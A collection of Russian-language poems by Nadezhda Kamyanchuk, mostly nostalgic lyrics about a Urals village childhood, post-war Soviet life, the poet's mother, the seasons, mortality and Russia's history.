Надежда Камянчук


Всему виной протуберанцы

Всему виной протуберанцы
На солнце! И не первый день
Протуберанцы, как поганцы,
Мозги срывают набекрень.

И вот от этого явленья,
От помутненья головы,
Сменилось наше поведенье:
Все вышли на тропу войны
И наточили томагавки:
«Ура! За скальпами! Вперед!..»
И вот в ужасной этой давке
Шизофренический народ
Сошелся… «В битве кони, люди»…
Труба зовет! Пали! Пали!
И «залпы тысячи орудий»
Над континентами Земли!

А что же яркое светило,
Которое, на горе всем,
Протуберанцев расплодило?
Оно не думает совсем!
Оно блестит, как будто блюдце,
Висит, дивится на людей:
Пускай, убогие, побьются - 
Всё во вселенной веселей!


Тост

Размышляя о душе,
Я о теле позабыла,
И оно вчера уныло
Попрощалось и уплыло,
И на облаке уже.
Удивлённая душа,
Вдруг расставшаяся с телом,
Сникла и осиротела,
Непривычно не дыша…

За союз души и тела
Высоко поднимем чаши –
Наши стати несомненно
Дополняют души наши,
А душе пусть будет тесно,
Пусть к высокому стремится,
Как сказал поэт известный –
Ей положено трудиться,

Ну, а если в час урочный
Дух простится с бренным телом,
То тогда узнаем точно,
Что за жизненным пределом.
А пока бокалы взвейтесь
За союз ума и дела,
И пока не надоело
Ждите, верьте и надейтесь!





Старая пластинка

Дай-ка я тихонько сдую
С диска мелкие пылинки,
Пошепчу и поколдую -
Пусть, как раньше, по старинке,
Заскользит игла по кругу,
Песней давней обернётся,
Жеребёночком по лугу
Побежит и не споткнётся...
Посмотри: уже «Девчата»
Приютились на афише,
Ветерок шестидесятых
Пробирается по крыше -
Белым яблоневым цветом
В памяти моей кружится
И любимые тем летом
Возникают люди, лица…
Тихо крутится пластинка,
И глаза, как будто перцем…
По щеке сползает льдинка…
Всё равно: спасибо, сердце,
За любовь и за разлуку,
Юности былой порывы,
И за раны, и за муку,
И за то, что все мы живы…
И хотя залётный ветер
Тормошит иные флаги,
Мы еще на белом свете
Понаделаем зигзаги
По дорогам и по лугу
И по травам, как из шёлка -
Лишь бы бегала по кругу,
По пластиночке иголка!


Давай по кофейку!

Ну, что же ты молчишь и грустно смотришь в стенку?
Должно быть, кофейку пора нам заварить
И, ложками звеня, размешивая пенку,
Мы станем вспоминать… Мы будем говорить
О том, что повезло нам на земле родиться:
На сто девчат - один вернувшийся с войны...
Хотя бы мой отец… Он, всматриваясь в лица,
Вдруг маму узнаёт средь девушек страны,
И всё в ней хорошо: глаза её и руки -
Мне будут рядом с ней все беды нипочём,
Вот только зря отец, от глупости иль скуки,
Вдруг встанет и уйдёт, и крутанёт плечом…
Ну, не было – и нет… И скатертью дорога! -
Смотри, не пожалей! - Да что же я о нём?
Ведь я о всех о нас… А впереди так много
Послепобедных дней! Мы реки повернём!
Мы на земле ещё такое отчебучим -
На Марсе и Луне мы вырастим сады!
Для подвигов у нас всегда найдётся случай,
Но только б без войны! Но только б без вражды…

Да мы счастливцы все! Нас матери взрастили,
Спасли-уберегли от самых разных бед…
Да что там говорить – учились мы и жили,
И познавали мир на переломе лет.
О чём мечталось нам - всё выглядит иначе.
И вроде б всё не так, но счастье всё же есть -
Картошка на столе и кофе есть тем паче,
И это надо нам, наверное, учесть.
Пускай и не сбылось всё то, о чем мечталось,
Зато идёт весна, и будет шмель кружить,
Давай сотрём с лица заботу и усталость,
Есть кофе на столе, а значит – будем жить!


Соки земли

Так отчаянно хочется жить

В эти дни, когда талые воды,
Ошалев от звенящей свободы,
Затевают весеннюю прыть,  

Утекают водой феврали
Под горячими солнца лучами,
Низвергаясь шальными ручьями
В плодотворные недра земли,

Чтоб она, отойдя ото сна
Разодрав ледяные покровы,
Обнажила себя до основы:
В ожиданьи благого зерна,

Там, в таинственном лоне земли,
Зарождается главное чудо,
И побеги уже ниоткуда
Прорываются… И проросли:

Посмотрите, легко и могуче,
Уцепившись корнями в песок,
Пьют, вбирают живительный сок,
Стебельки подставляя под тучи...

Народится хлебов колыханье
И взовьётся дымок над трубой,
И прорежет туман голубой
Человечье земное дыханье.

По морщинкам и складкам земли
Пробегают, как Божие слёзки,
Декабри, январи, феврали
И растут... прорастают берёзки!


Старые тополя

Где стояли тополя
Возле дома у дороги
И крутили кренделя
Наши головы и ноги,
Будто тёмные кресты
Пни отбрасывают тени,
На забытые холсты
Из событий и мгновений:

Помню, эти тополя
Нас от дома провожали
В неизвестные края
И неведомые дали,
Воспаряли в небеса
Кроны словно исполины,
Раздвигая полюса
И Парижи, и Берлины…

Преогромной высоты,
Беспредельного обхвата,
Беспечальные мосты
От рассвета до заката…
Под шатры из тополей
По весне слетались птахи!..
 
Пробежать бы снова - в ней:
В сшитой мамою
Рубахе!


Про Ермила и Фому

За окошками темнеет:
Снег кружится вихорьком.
- Ты садись, где повиднее -
Мы послушаем ладком
Нашу книгу...Ну-ка, Валя,
Раскрывай да не ленись,
Почитай нам про Мазая
И про зайцев, и про жизнь,
Где искали да искали
От нужды да от тоски
На Руси в какой-то дали
Счастье наше мужики…

Том Некрасова хранится
В этажерке под окном…
За окном метель клубится,
Заметает старый дом,
Тихо тикая в потёмках,
Время падает во тьму
И сестрёнки голос тонкий
Про Ермила да Фому.


Про Петра и про окно

Да что стоять-то у порога?
В передний угол проходи,
Была нелёгкою дорога -
И бездорожье впереди.
Давай заварим чай покруче
Из луговых копорских трав,
И обсудить сумеем случай -
Петро был прав или не прав,
Когда он давеча затеял
Пробить широкое окно,
Оттуда смрад такой повеял,
Что всем нам нюхать суждено!
В избе теперь немало вёсен
От этой вони спасу нет…
Да и с кого мы нынче спросим,
Когда зарос травою след?..
Вот было я окно железом
Заделал. Но пришёл сосед
Никита… И дыру прорезал.
Опять сквозит. Зато балет
Всегда в деревне самый первый
И самый лучший на счету,
Удои поднялись на ферме -
Доярки любят красоту…
Один лишь только недостаток -
Из-за окошка смертный дух…
А так у нас везде порядок…

Да ты, брат, вроде, тугоух!


Февральская лазурь

Вчера февральская метель
Своё веселье прекратила,
Разлив по небу акварель,
А может - синие чернила,
Во след закату унеслась
За фиолетовые дали...
Закончилась метели власть -
Весна плывёт над облаками.

Ты бровь, пожалуйста, не хмурь,
В оттаявшее глянь оконце -
Кругом бескрайняя лазурь
И ослепительное солнце!


Мамина деревня

Деревушка, деревенька,
Как же мне её найти?
Ни далёко, ни близенько
Не доехать, не дойти.
Нет отметины однако:
Ни погоста, ни креста…
Хоть бы взлаяла собака
Ради господа Христа…

Всюду согры и болота,
Череда да лебеда…
Пролезать кому охота,
Если нет туда следа?
Но вглядишься: где деревья
Темно-серою волной,
Там почудится деревня,
Дом забытый и родной,

В этом доме половицы -
Пошевелишься - ворчат...
Хоть зайти воды напиться,
Там где часики молчат,
Подойти к дверям - откройте,
Мама, бабушка и дед! -
Тишина… Не беспокойте:
Здесь живым ответа нет.

На щеку слеза скатилась
С облетевшего куста
И как малость, и как милость,
Ради господа Христа...



Собачья мечта под Новый год

Вечер. Снег идёт тихонько,
Время клонится ко сну,

Тихо воет собачонка
На блестящую луну,
Что над деревом повисла
Циферблатом от часов,
Над домами коромысло
Из созвездия Весов.

Год опять спешит на убыль:
Как всегда под Новый год
Будут ряженые люди
Веселиться у ворот:
Вдруг придёт, хотя б однажды,
Дед Мороз - желанный гость 
И тогда собаке каждой
Непременно кинет кость!


Предзимье

Исцеляющий воздух предзимья,
Чистоту утверждающий снег,
Исчезающий в белой низине
Колеи незасыпанный след.
Так прозрачно для взора пространство,
Так стремится и верит душа
В молодое её постоянство,
Красотою земною дыша...


А из нашего окна...

Что такое – жизнь в подвале?
Это видеть за окном
Туфли, валенки, сандали
Справа, слева и бегом
Проносящиеся мимо
По зиме и по земле, -
Это очень даже зримо,
Это всё знакомо мне:

Можно видеть из подвала
Уголок от облаков
И кусочек в полквартала
Огородов и домов.
И частица драмтеатра 
Снизу видится вполне,
«Погорелого» понятно,
С капремонтом на стене.

На лошадке, на телеге
Едет сена целый воз –
То безногий дядя Федя
Корм коровушке привёз...
Вот бредёт домой корова -
Брызжет вымя молоком,
А за ней - мой братец Вова
По пылище босиком.  

А далече за домами
Вся великая страна
Расцветает куполами,
Но отсюда не видна.
И рубиновые звёзды
Нам указывают путь
И лежат дороги-вёрсты
Кое-где и как-нибудь.


Деревенские "палаты"

Деревенские «палаты»
Надо б в памяти сберечь:
Деревянные полати,
Сепаратор… голбец… печь…
Красный угол, где иконы
Над лампадкою висят…
Парасковьины поклоны,
За здоровие внучат.

Тихий шепоток в избушке:
«Отче наш… Убереги…»
Тесто пыжится в кадушке -
К утру будут пироги.
Сохнут на шестке обабки –
Сварят грибницу зимой…
Всё привычно, всё в порядке,
Ребятишки под кошмой
Спят. А завтра всем побудка:
- Эй, с полатей - ну-ка вниз…
- В семь утра? Да это шутка
Или бабушкин каприз?

Но уже расселись кругом -
Только ложками гремят!
Очерёдно друг за другом
«Помакушечку» едят
Из черёмуховых ягод, -
Можно рвать их из окна! -
И не знают бед и тягот
Тех, что ведает страна.
Для ребяческого счастья
Им достаточно вполне
Даже солнышка в ненастье
И кувшинок на волне!

А недавно за деревней
Волчьи видели следы…
- Только, чур, я видел первый,
А поздней увидел ты!
Вот такие вот лапищи,
Прямо с дедушкин кулак.
Он искал наверно пищи,
И наверное - вожак!

Деревенские полати,
Черемошка под окном
Были ль не были когда-то?
Был ли старый дедов дом?
Всё потери да утраты:
Чугунок, ухват и печь…
Деревенские «палаты»
Надо б в памяти сберечь!
*Помакушка (уральск.) - черёмуховая мука, заваренная кипятком.
*Обабки - грибы подберёзовики.
*Черемошка, чремошник (уральск.) - черёмуховый куст.  


Стихи ни о чём

В раме куст колышется -
На ветру мотается,
Что-то мне не пишется -
Рифма не слагается...

Жизнь как будто книжица:
Нравится-не нравится
К эпилогу близится,
Так всегда случается.

В небе туча движется,-
Вроде дождь спускается,-
Где-то песня слышится:
Всё как полагается...

Что-то мне недужится,
Что-то мне неможется -
Может за околицей
Грусть моя скукожится?

Пробегусь по лужице
Да ногами босыми,
Голова закружится,
Как пройду покосами,

Летними денёчками
Жизнь моя итожится,
Меж словами-строчками
Песенка приложится!


Письмо Камбалы к Осетру

Из Википедии: "Тело камбал сплющено. Оба глаза помещаются на одной, верхней, стороне тела. У большинства камбал глаза расположены на правой стороне. Верхняя сторона тела организована лучше нижней — здесь лучше развит скелет, имеются плавники, более яркая окраска..."

Я – рыба Камбала.
Живу на дне,

Я – плоская как блин 

иль лист бумаги,
а вот взяла
и набралась

отваги -
пишу я Осетру:
мы в разной глубине.

Сначала о себе:
раздавлена водою,
расплющена,
распластана,
но все ж 

живу.

Живу!
Хоть стала я такою,
что с виду – жуть.
Ну, со смеху 

помрешь.

Свои глаза
я увела 

на спину, -
теперь
весь мир

я чувствую спиной,
а тайную

другую половину,
расхристав по камням,
царапаю душой.

А ты – Осетр -
Серебряная рыба!
Ты в струях голубых
приплыл издалека.
Средь мелких карасей –
огромный 

будто глыба…
(диковинный объект
нам вынесла река).

Мечтал когда-то
рыбою летучей
взлететь,
сверкать
над толщиною вод,

а думаешь о том,
что невезучий,
не суждено,
не дали
и не смог…

Но ты Осетр.
Осетр!
А это значит -
прекрасный
как фрегат
иль быстрая
ладья.
Поверь мне –
этот путь
тобою только
начат.
Ты – молодой еще.
И береги себя!


Эй, Земля!

Эй, Земля, развернись! Раскружись!
Возликуй, торжествуя над смертью!
Я захвачен шальной круговертью,
У которой название - Жизнь!

На планете зеленой кружусь,
Как на самой большой карусели,
Ухватившись за две параллели,
Мчу на тройке с названием Русь!

Ну-ка, солнце, к зениту взлетай!
Золотыми потоками брызни!
Я люблю время радостной жизни,
Под красивым названием – Май!


Листопад

Осенний листопад
Над городом кружится
Который день подряд
Цветная карусель,
Из листьев золотых
Судьба моя вершится:
Как на конях гнедых
Торопится в апрель,
Где точно в нужный миг
Листвой взорвутся почки,
Чтоб снова ты постиг,
Как в самый первый раз
Всю красоту полей
В погожие денёчки
Все прелести людей
И в профиль, и в анфас,
Природа развернёт
Зелёные знамёна,
Как будто на парад
Войдёт в цветущий май,
И ветерком вздохнёт
У жизненного склона,
И будет листопад -
Его не прозевай!


Без пути

Без пути и без дороги
По оврагам мчится Русь
Берегите руки-ноги,
Да и ты, седок, не трусь,
Не гляди вокруг со страхом,
На ухабы не дивись,
Лишь бы быстро,
Лишь бы махом
От галопа - да и в рысь!


Вот доехали-домчали 

В тридевятое село:
Смотрим - там одни Печали:
Их везде полным-полно,
Ходят-бродят хороводом,
Песни жалобно поют,
Разговор ведут с народом,
Из бутылок что-то пьют…

Ну, пора опять в дорогу -
Залезаем в драндулет,
И дают нам на подмогу
Трёхрожковый пистолет.
Если что – обороняться:
Вдруг враги из-за горы…
Не сдаваться, не склоняться,
Даже если - комары…

И летит опять повозка
От броска и до броска…
То осина, то берёзка,
Веселуха и тоска…


Деревянная жизнь

Ты - дерево. 

И я им стала тоже:
Застряла в неподвижности своей,
Своей корою на тебя похожа -
Из той породы, что из тополей.

Листва давно пожухла и опала
К подножию… По длинному стволу
Лучи луны сиянием опала
Пускай скользят, когда зимой усну.

А не заснут во мне одни лишь корни -
Они вгрызутся в глинистую твердь,
И будет в ветках кто-то на валторне
Играть, а если попросту - скрипеть.


Я – дерево теперь... 

Стою на страже:
Не смей нарушить мой лесной покой.
И если я тебя замечу даже,
Махну лишь только веткою-рукой.

Здесь хорошо, здесь лешие не бродят,
И ветра нет, и никаких чудес.
И даже мухи при любой погоде
Совсем не проявляют интерес.

Ты – дерево. 

И я им стала тоже…


Инвалидам Великой отечественной

Гремит своей каталкой по дороге,
Баклушами скребёт по мостовой,
Орденоносный, молодой, безногий,
Герой войны, израненный - живой,
Он на базаре, будто на работе,
Тряхнёт гармонью, разведёт меха:
Когда затянет песню о пехоте,
Так вроде жизнь не так уж и плоха.

Стою в толпе я, малая девчонка,
Смотрю, как к шапке денежки несут,
Герой поёт и горестно, и тонко,
Ещё не зная, утром увезут
На острова - там инвалидам место.
Решили власти - будет и приказ -
Всех после санитарного ареста -  
На Соловки! И будет в самый раз!

И вновь поёт солдат – «слуга народа»,
Хрипит, сипит, растягивая рот…
Гармошка плачет и сама природа –
Над всей Россией дождик льёт и льёт.   



 


.




Да будь же он неладен

Да будь же он неладен этот месяц -
Октябрь конечно... Слякоть, темнота.
И время лжи и всяких околесиц,
Когда растут седины и лета,
Когда во тьму врастают дни, и мысли
Текут по жилам в глубину корней,
Октябрь ждёт. И он подобен рыси -
Он незаметен, что всего страшней.
Вот и теперь он кроется в тумане,
И клюв его безжалостно остёр,
А мне бы улететь в аэроплане,
И скрыться за пределами озёр,
Где лебеди свои склоняют шеи
Над серебром ликующей воды,
Где нет ни грусти и не сожалений,
Где незаметны времени следы...

Да будь же он неладен этот самый -
Октябрь, который вслед за сентябрём…


За Уральским хребтом

Там, за Уральским каменным хребтом,
За дивными лесами и полями
До сей поры мой одинокий дом
Печалится-грустит под тополями.
А от него совсем невдалеке,
Речушка мелкая,- оттуда слышен гомон! -
До синевы продрогшие в реке
Мы прибегали к старенькому дому.

Не верилось, не думалось тогда -
Что в доме этом мы лишь квартиранты,
И дни промчатся, пробегут года,
Судьба ещё сыграет с нами "в фанты":
Она смешает месяцы и дни,
Года и города, и даже мысли,
И я одна… И ты… И все одни
Среди веков на ниточках зависли.

Марионетками, на разной высоте
Болтаясь, мы проделываем трюки,
К Божественной великой Красоте
Протягиваем немощные руки -
Она, как мать, лелеет и хранит
В прекрасном чреве наши дни и судьбы:
Она везде вокруг. Она царит,
И только мы и дети ей, и судьи.

Пока прочна и неразрывна нить
Тончайшая, связующая с небом,
Не устаю её благодарить
За жизнь и даже за картошку с хлебом,
За то, что был когда-то этот дом,
И за дорожку ту - от дома к речке,
И хочется опять пожить в таком
Иль посидеть хотя бы на крылечке
Еще один большой двадцатый век,
Ну, не двадцатый - следующий по счёту,
Который начинает свой разбег
И продолжает общую работу.
В нём как и в прежнем, в даль течёт река,
И в речке солнце скачет, словно мячик,
А волны мчат по воле ветерка
Всегда-всегда! И никогда - иначе!


Туманы

Ни костра не видно, ни огня -
Всё вокруг затянуто туманом,
И теперь не отыскать меня
В этом влажном омуте обманном,
И не разглядеть за пеленой
Девочку, какой была когда-то,
Вот таким же утром и весной,
И ещё задолго до заката.

Не увидишь в плотной синеве -
Женщину и двух мальчишек рядом,
Босиком бегущих по траве…
Никого и не отыщешь взглядом,
И уже не хочется понять,
Кто же там за сизой пеленою
Еле-еле виден... Не догнать.
И туманы этому виною...


Восход солнца

Торжественно легко восходит в небе солнце,
Весёлый тёплый луч, бросая с синевы,
Глядит оно в своё светлейшее оконце,
На новый день забот в знакомые миры,

Чтоб заново возник земли могучий образ,
Чтоб в зеркале воды поплыли облака,
Ведь для того и был задуман мир и создан,
Чтоб радовать людей мгновенья и века.

Восстав из ничего из пустоты вселенской,
Являя мудрость Слов и красоту небес
И оросив поля водой своей Крещенской,
Природа напоит кусты, траву и лес -

Наполнятся пруды и реки, и долины
Отрадою земной и летнею грозой,
Алеют на ветвях, как кровь, плоды калины
И светится роса Христовою слезой


Мама, посмотри...

Мама, посмотри, какой идёт
Дождик… Ну, наверно, на неделю
Зарядил… И будет напролёт
Лить и лить, а солнце обогреет
Землю, и появятся грибы:
Сыроежки, рыжики, опята…
Мы с тобой охочи до ходьбы -
Далеконько шастали когда-то…

Мама, посмотри, какой снежок
Падает сегодня на крылечко,
Снегом призасыпанный ложок
Топчет мальчик маленький беспечно.
Нам с тобою тоже бы пойти -
Проторить тропиночку другую.
Да быльём засыпаны пути,
Потому я нынче и горюю.

Мама, посмотри, сирень цветёт -
Повернуло солнышко на лето…

Мама, посмотри, уж Новый год
И под ёлкой яблоки-конфеты…

Мама, с тополей кружится лист
И ложится прямо на дорогу…

Далеко ушла, - не оглянись, -
От людей… Зато поближе к Богу.


Пахнет керосином



Рифмы пахнут нафталином
И спешат на переплавку:
Мы идём за керосином
В керосиновую лавку.
Чтобы не продуло ветром
Я замотана файшонкой*,
В дивной шапочке из фетра,
Ковыляю "старушонкой".
У моей сестры Галинки
Взгляд печальный и не детский -
Керосина б керосинке,
Чтобы выучить немецкий,
А в чернильнице чернила
Не спасут, не пожалеют,
Если лампочка остынет,
Если фитилёк не тлеет…

Вот приткнулись у прилавка,
А народ галдит-ликует:
Керосиновую лавку
Он дербанит и штурмует.
Но уже бидончик полный -
Керосина нам хватило...
Укатились, будто волны,
Керосинка и чернила,
Всё прошло и всё минуло,
Громыхнуло, как дрезина,
Только время опахнуло
Ароматом керосина.

                      * Файшонка – старинная нарядная шёлковая косынка


Аз есмь

Не вздумайте меня понять,
Я и сама не понимаю
Могу ли птицею летать
Иль старой лошадью хромаю
Извивами своей судьбы
Путями собственных ошибок,
А если вспомнить про "кабы",
То и златых ловила б рыбок,

А что? Поймала бы в реке
И попросила то и это,
И даже то, что вдалеке
Сокрыто и гуляет где-то,
А если бы ещё вернуть
Бесценные мои потери,
Постигнув жизни этой суть,
Открыть все замкнутые двери
В глубины интересных дел,
В которых главное – искусство,
Чтоб соловей на ветке пел,
Рождая трепетные чувства,
И всё успеть, и всё суметь,
Преодолеть и приумножить,
И песенку свою пропеть,
И никого не потревожить,
Расправить белые крыла,
И журавлём подняться в стаю -
Аз есмь! Я на земле жила!
Я птица! В небесах летаю!


Уголок души моей

Как живёшь, моя провинция,
Уголок души моей,
Где ждала когда-то принца я,
На рассвете юных дней?
Отцвели в садах черёмухи,
Принцы вышли в короли.
Ожидания и промахи
Отболели-отошли,

Всё исхожено-изучено
В городке минувших дней,
Жизни грустные излучины
Те, что не было длинней,
Всё забыто. Всё закручено...
Открывать не захочу!
Я провинцией измучена,
Но об этом помолчу.


Лишь хранят воспоминания
Майский вечер за окном,
Зауральская окраина,
Полукаменный наш дом,
Что печалится-сутулится -
Нет роднее и милей -
В нём живёт на тихой улице
Уголок души моей.


Выходи скорей, Маруся

"Опротивели Марусе
Петухи да гуси...!"
     Ник. Заболотский

Выходи скорей, Маруся:
Расшумелись у крыльца,
Две свиньи, корова, гуси,
Куры, утки и овца.
Наполняй скорей корыто,
Поспешай и не зевай…
Всё насыпано-налито -
Ну, не двор, а сущий рай!


Вот Маруся тесто месит -
Завтра будут пироги…
Над деревней куролесит
Общий заговор: враги-
Кулаки… И в сельсовете
Скоро будут обсуждать
Чтоб без шума… на рассвете…
И кого арестовать…


Не к добру сегодня ночью
Раскричались петухи…
И за что Россию – в клочья?
За какие за грехи?
Всё не так: то кнут, то пряник,
Колыма да Соловки,
Ссылка, вышка да охранник,
Да запои от тоски,


То парады, то кладбища,
То священная война…
Всё мы счастья где-то ищем,
Справедливости сполна:
Если радость, чтобы вместе,
Чтоб на всех накрытый стол…
И графинчик - честь по чести,
А по утречку рассол…


И не надобно особо
Нам ни яхт и не дворцов,
Лишь бы дом и речка чтобы,
И чтоб звон от бубенцов,
И любимой птицы-тройки,
Нескончаемый полёт.
Ямщика из самых бойких -
Чтоб прохожие вразлёт!

За дверями бродят тучи
И горланят петухи,
И народ такой могучий,
И крапива-лопухи...


По просёлкам и по весям

По просёлкам и по весям,
Нити звонкие подвесив
От небес и до земли,
Ходит, бродит, куролесит
И дороги в тесто месит,
Давит травы-ковыли,

Хлещет ливнем гром небесный
И палит по перелескам -
Эй, не прячьтесь от дождя!
Будьте, граждане. любезны,
Этот ливень всем полезный
От пшеницы до груздя!

Непогода ли погода,
И любое время года -
Друг за другом косяком:
Лейся, дождик, до восхода -
Зеленеет пусть природа,
Ну и я, дитя народа,
Марширую босиком!


Узоры на песке

Узоры на рассыпчатом песке
Вычерчиваю детскою ручонкой
И веточкой зелёною и тонкой
Рисую лодку с флагом на древке.

Я вывожу узоры как могу,
Рисую речку, дерево, ребёнка,
И девочку в коротенькой юбчонке,
И женщину на влажном берегу.

Черчу свои узоры день за днём,
Песок течёт и ручейком струится,
И вроде бы пора остановиться,
Но всё-таки рисую снова дом

И дерево, и девочку в матроске,
И лодочку, что вдаль несёт вода:
На этом удивительном наброске
Уже не дни вмещаются - года.

Смываемые быстрою рекою,
Рисунки появляются опять,
И глаз ни отвести, ни оторвать,
Когда узор становится строкою!


Великая Екатерина

До сей поры никто пока
Не видел в этом грешном мире
Царицу в праздничном мундире
Преображенского полка.

Уже малиновый трезвон
Стоит над северной столицей
В честь восхождения на трон
Молоденькой императрицы.

А кажется, еще вчера –
Августа-Софья-Фредерика…
А нынче мир дрожит от крика
Тысячекратного «Ура!».
 
Эй, чашку пенную на стол!
Она теперь необходима,
Сегодня всходит на престол
Великая Екатерина!


Садись на лавку

Садись на лавку, посидим
С тобой вдвоём перед дорогой,
Воспоминания не трогай
Да и с печалью погодим...
Без сожалений о былом
Давай с тобою потолкуем,
А, может, встретимся в июле
И на лужайке отдохнём,

И будет стрекотать в траве
Кузнечиками наше счастье,
И отодвинутся напасти
В стране, в душе и в голове…
Давай с тобою посидим
И помолчим перед дорогой,
Как мало пройдено и много,
Но этот путь необходим,

И пусть он нынче занесён
Зеленоглазою метелью
Он успокоится за дверью
И превратится в этот сон:
Посередине облаков
В кудрявом солнечном июле,
Мы встретимся с тобой, мамуля,
За горизонтами веков.

И будет журавель кружить
Над одуванчиковым полем,
И всё знакомое до боли,
То, без чего так трудно жить…


Вот ведь какое дело...

Вот ведь какое дело,
Дело такое вот:
Вроде вчера всё пело,
Нынче - наоборот…

Вроде вчера цветенье,
Радуга в полный рост,
Ну, а сегодня пенье
Певчих. Да на погост


Тихо поедут дроги
В гору из этих мест,
А на конце дороги
Холмик да ржавый крест

Да вековые сосны
Склонятся над холмом…
Вроде бы все мы просто
Здесь на земле живём…


Просто? Да нет, не просто -
Так, чтоб не стыдно жить,
Лет так до девяноста
Голову не сложить,

И чтобы дом и дети,
Чтобы цвели сады,
Счастье и мир на свете,
И никакой беды.


Эти мечты-надежды
Мокрый заносит снег:
Всё как и было прежде:
Холмик и человек,

Крестик заиндевелый
Каждому в свой черёд,

Вот ведь какое дело,
Дело такое вот…


Этот миг

Этот миг

между жизнью и вечностью
с именем - Смерть,
тот, что к людям
приходит под образом
древней старухи,
неминуем,
все будут когда-то
и слепы, и глухи,
но ни ты и не я,
и ни все остальные,
поверь.

Да, конечно я знаю,
что жизнь
не пройдёт без потерь,
но надеюсь и верю,
и, кажется, есть даже слухи,
да и люди разумные -
это же точно не мухи,
и откроется, верно,
какая-то малая дверь

в жизнь другую,
иную, прекрасную,
полную смысла:
нас туда завлечёт,
закружит,
занесёт круговерть
и омоет святою водой
из ведра с коромысла,
вот тогда посмеёмся над той,
что по имени Смерть!


Разговор без конца

Я так хочу с тобой поговорить
о том, о сём, о главном и не главном,
о зле, добре, о самом в мире странном,
о том, что предстоит еще творить,
я знаю, не прервётся эта нить,
и разговорам тем конца не будет.

Мы будем долго, долго вспоминать
тех, что ушли, умчались - не догнать,
мечтать о том, чему и не бывать,
о том что в мире много разных судеб,
а нам с тобою есть чего сказать,
и разговорам тем конца не будет.

Я так хочу с тобой поговорить,
но знаю я - меня ты не услышишь,
ты за чертой, ты даже не напишешь,
не позвонишь - и некого винить,
а нам с тобою есть чего сказать,
и разговорам тем конца не будет...


Где рождается истина

- "А в спорах истина рождается!" –
Вот потому и я, и ты,
Как в этих спорах полагается,
Бранимся, аж до хрипоты,
Но докопались ли до истины?
Скажи, она не родилась,
Когда сражались так неистово?
И есть у спора с нею связь?

Пока в экстазе красноречия
Наш разговорный пыл не скис,
Настойчиво и опрометчиво
Мы убиваем здравый смысл,
Но всё ж опять талдычим заново,
Усердствуя до синевы,
Надеясь заменить внепланово
Всё содержанье головы.

Давай молчать: молчанье – золото,
И поумерим жар в крови…
Всё сказано и перемолото,
А истина – она в любви!



Послепобедное

Давнее время
благословенное,
детское племя
послевоенное,
может, голодное,
может быть бедное,
но ведь свободное -
послепобедное!

Ветер затих
и листвой не колышется,
звонкий мотив
из динамика слышится:
"близится эра
светлых годов,
клич пионера -
всегда будь готов!"

А на газонах
стрекочут кузнечики,
папа в погонах
и мама при "плечиках",
платье нарядное,
яркоцветастое,
небо парадное,
чистое, ясное,
праздничным шумом
и солнцем полны
улицы самой
великой страны,

Первое мая
сияет над городом -
как это весело,
как это здорово,
рвётся и плещется
на ветерке
алый флажок
в моей детской руке,

Думаем все, -
ну, а как же иначе?-
в нашей стране
заживётся богаче,
что самый лучший
миру пример
гордый могучий
Союз ССР...
..................................
Смыто дождями
победное лето,
вместе с вождями
отправилось в лету,
вроде и не было
в мире войны -
нету на карте
Советской страны...

Где же ты, время
послевоенное,
гордое племя
послепобедное?


Закатом залито крыльцо

Закатом залито крыльцо
Порой вечерней,
Заря - невеста под венцом
В своём свечении,

Полнеба алые как кровь -
Играют краски,
И всё земное ищет вновь
Любви и ласки.

Беспечно плещут облака
В весенней луже,
И каждый здесь из нас пока
Кому-то нужен,

А наверху давным-давно
Всё-всё известно,
И сколько дней ещё дано,
Коль в теле тесно

Душе, что учится летать
По-над землёю,
И не умеет совмещать
Судьбу с мечтою!


Небо такое вешнее

Небо такое вешнее -
Гулкая даль бездонная,
Ты - красота нездешняя,
Русь - сторона иконная.
Вроде вчера - грязища,
Хляби да бездорожье,
Ну, не страна - кладбИще,
А нынче-то - царство Божье!-

Те небеса как море,
Залиты цветом синим.
К чёрту беду да горе:
Вот же она - Россия!
А посерёдке улицы
Солнце сидит на крыше...

Люди, хватит сутулиться:
Выше головы! Выше!


Радуга

А ливень - будто из ведра,

И льёт совсем не понарошку,

А надо бы садить картошку

Да всё не время, не пора…

 

Небось в другой стране всегда

Погода словно на курорте…
Как надоело всё., - не спорьте! -
Сбежала б раз и навсегда…

 

Но всё же лучше не спешить,

Поскольку - радуга восстала!
Всё улыбнулось, засияло!

А значит, можно дальше жить!


Не разогнать ли облака?

Не разогнать ли облака?
Они сегодня злы и хмуры...
Пусть вместо них издалека
На крыльях прилетят Амуры.

Для них большой накроем стол
И. прекращая в мире споры,
Войну поставим на прикол
У проржавевшего забора.

Пускай она совсем сгниет,
Как плоскодонка у причала,
И будет праздновать народ,
Перекроив всю жизнь сначала.

И будут голуби кружить
Амурным вкусам потакая,
Вот так и будем, люди, жить -
И жизнь мне нравится такая!

Давай, разгоним облака!


Вышибалы

Там в детстве, за пределами времён,
И синь небес, и луговые травы,
Лиловый мячик посреди отавы –
Веселье всех ребяческих племён,
И детство восходящее в зенит
Как мячик лёгкий, улетевший в небо...
Скажите, кто из вас в том детстве не был?
И отзовитесь, в ком оно звенит?!

Теперь игра другая – вышибалы! -
Попробуй увернуться от "мяча"… -
А жизнь кипит - светла и горяча,
И под ногой полынью пахнут травы,
Пока что не грозит тебе удар,
Ещё не время уходить с поляны...
А воздух удивительный и пряный,
Хоть пей его, как мёд или нектар.

Но нету Коли, Любы, Маши нет,
И игроки как будто поседели:
Одни ушли - им "игры" надоели, -
И спят уже. И в этом весь секрет...
А мяч летит навстречу, как снаряд, -
Он никогда ещё не промахнулся. -
И вот уже, кто был со мною вряд
Упал в траву, как будто бы споткнулся...

А в вышине, за линией времён,
Лазурь небес, и запахи, и травы,
И верно там, средь облачной отавы,
Прибежище народов и племён…


Жизнь сначала

Эх, начать бы жизнь сначала,

Чтобы жизни колея,

Не жалеючи, помчала

По колдобинам меня

В те года мои, где детство

Затерялося в пути.

Знаю, есть такое средство:

В руку взял его - лети!


В двухэтажном старом доме

У высоких тополей,

Что застыл в фотоальбоме

Жить намного веселей,

Чтоб шальной бродяжка-ветер

Подхватил меня, понёс

В дом, где жив ещё на свете

Мой приятель Бобка - пёс.


Я в знакомые ворота 

С детским трепетом вхожу,

И меня встречает кто-то...

Это ж... - слов не нахожу! -

Мама, лет примерно в тридцать, -

Даже глаз не оторвать,

А вокруг родные лица:

Ребятишек ровно пять,

В чугунке кипит картошка, -
Эй, скорее налетай! -

Горяча ещё немножко:

Рук, смотри, не обжигай...

Это всё со мною было 

Наяву, а не во сне:

Пальцы тонкие в чернилах,

Карта мира на стене...

